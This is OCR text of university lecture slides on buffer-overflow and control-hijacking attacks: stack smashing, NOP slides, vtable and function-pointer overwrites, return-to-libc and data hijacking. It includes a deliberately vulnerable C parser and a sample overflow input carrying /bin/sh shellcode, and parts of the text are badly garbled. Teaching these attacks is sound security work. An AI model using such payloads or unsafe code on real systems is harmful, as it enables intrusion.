copy lower(url, buf); oxbffffec4 0x20544547 f<— -
printf(“Location is %s\n”, buf); OxbfffT6co < gmgg'g'i'g}
return 0; } rer
23: /** main to load a file and run
parse */
. . oxbffffeb4 OxbE£££740 - out
input file) €
oxbffffebo B <—in

<Leturn address

<stack frame ptr



The NOP Slide

Shellcode

To previous stack
frame pointer

arguments

return address

crafted return address

stack frame pointer

>

To the
instruction at
which this

function was

Problem: how does Solution: NOP slide
attacker determine ret- * Guess approximate stack state when
address? the function is called

* Insert many NOPs before Shell Cod&x90’



The NOP Slide

parse.c

1:void copy lower (char* in, char* out)

int i = 0;
while (in[i]!'='\0" && in[i]!='\n")

gut[i] = tolower(in[i]);
i++;

}

buf[i] = ‘\0’;

CTTO T TOTrT L], Ol c) CMULTZOT )

fread(cmd, 1, 128, fp);
int header ok = 0;

url = cmd + 4;

copy lower(url, buf);
printf(“Location is %s\n”, buf);
return 0; }

23: /** main to load a file and run
parse */
file

GET
AAAAAAAAAAAAAAAAAAAANXBA\ X T7\XTF\xTT/x90/x90/x
90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90
/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x
90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90
/X90/x90/x90\xeb\x1fA\x5e\x89\x76\x08\x31\xc0\x88\x
46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\
xcd\x80\x31\xdb\x89\xd8\x4 0\xcd\x80\xe8\xdc\xfAAxff\x
ff/bin/sh

oxbffff764

oxbffff760

oxbffff75c

oxbffff758

Oxbffff74c
Oxbffff748
Oxbffff744
Oxbffff740
Oxbffff73c

oxbffffeca
oxbffffeco

shellcode
0x90909090
0x90909090

<=fp
<gptun1address

<stack frame ptr

url

<= header_ok
?,2,?,buf[4]

<= buf[3,2,1,0]

<= cmd[127,126,12F

<— ;:md[7,6,5,4]
<— cmd[3,2,1,0]

Unallocate



More on Stack Smashing

« Some complications on Shellcode:

— Overflow should not crash program before
the frame’s function exits

— Shellcode may not contain the ‘\0’
character if copied using strcpy functions.
 Sample remote stack smashing
overflows:

—(2007) Overflow in Windows animated
cursors (ANI)

—(2005) Overflow in Symantic Virus
Detection



Issues In string operations in libc
functions

Many unsafe libc functions

strcpy (char *dest, const char *src)

strcat (char *de st, const char *src)

gets (char *s)

scanf ( const char *format, ... ) and many more.

“Safe” libc versions strncpy(), strncat() are misleading
— e.g. strncpy() may leave string unterminated.

Windows C run time (CRT):

— strcpy s (*dest, DestSize, *src): ensures proper
termination




General Control Hijacking: Return
Address

.|
ShellCode :
To previous stack

frame pointer

arguments

return address crafted return address

stack frame pointer

A
o

To the instruction at whic
this function was called

buffer

rwrite Step: Overwrite return address to point to your code.

livate Step: Return out of frame and into your cﬂa\hn Song 34




General Control Hijacking: Local Fn Ptr

ShellCode

arguments

return address
stack frame pointer

To instructions
for a function

local function pointer

crafted local function

buffer

pointer
buffer

rwrite Step: Overwrite local function pointer to point to your code.

tivate Step: Call that local function variable.  Dawn Song 3




General Control Hijacking:
Function Pointer in the Heap

Object T vtable Object T vtable
ptr ——> FPL 4 othod ptr
FP2: - fMicthod
data FP3: .. #]zethod #3 data
buffer

arwrite Step: Overwrite entries in a vtable for Object T,

tivate Step: Call any method from Object T Dawn Song 35




General Control Hijacking:
Function Pointer in the Heap

(crafted vtabldERLGLLL-: I >shellcode
FP1: >shellcode
Object T vtabl Crazeg EE; sshellggge
FB1] r : .
ptr > FP1 o5 method crathe | FP1_~Inethod
: #1 crafted ptr : #1
FP2"™> method Fp2+> Method
: #2 . #2
data F—P3—>method #3 F—I;3..>method 1

buffer buffer

nrite Step: Overwrite pointer to vtable on heap to point to a crafted vtable.

tivate Step: Call any method from Object T Dawn Song 37




Attack: return-to-libc (arc

Injection)
* Control hijacking without executing
coge stack)
(libc.so)

arguments

return address > exec()
stack frame pointer printf()
buffer

2 “/pin/shell”

Dawn Song 3s



General Control Hijacking

/

‘ Control Flow
Pointer return g

rame pointer  fynction pointer
exception Handler  as local variable

shellcode,
library (return

function pointepin

Overwrite Step:

Find some way to modify a Control Flow Pointer to point to your
shellcode, library entry point, or other code of interest.

Activate Step:
Find some way to activate that modified Control Flow Pointer.

Dawn Song 3



Instances

Hiilackinn

of Control

P

Locatio | Control How to
nin .
TETOn FIo_w activate
Pointer
Stack Return Address Eje:gtrir;:]rom tstack frame)
Ret Addr
Stack Frame Pointer Return from Frame Ptr
function gxception handers
local fn ptrs
Stack Function Reference and
Pointers as call function buf
local variables pointer
Stack Exception Trigger “_\5A “_\En_x
Handler Exception plbject vtable pybject vtable
. TPtF'>' FP1: —method pkr method
Heap Function Reference and FP2: | #hbthod #2 #hbthod #
pointer in heap | call function FP3: | method method
(i.e. method of | pointer — #3 data #3
an object) buf
Anywhe | setjmp and Call longjmp longjmp==>  saved
. pointer
re longjmp

program state
buffer




Data Hijacking

difying data in a way not intended Example: Authentication variak

arguments arguments

return address
stack frame pointer

return address
stack frame pointer

authentication_variable

buffer authentication_variable

buffer

Exploited Situation:
User types in a password which is long enough to overflow buffer

and into the authentication_variable. The user is now
rinintfentinonallyy arnirthenticaread
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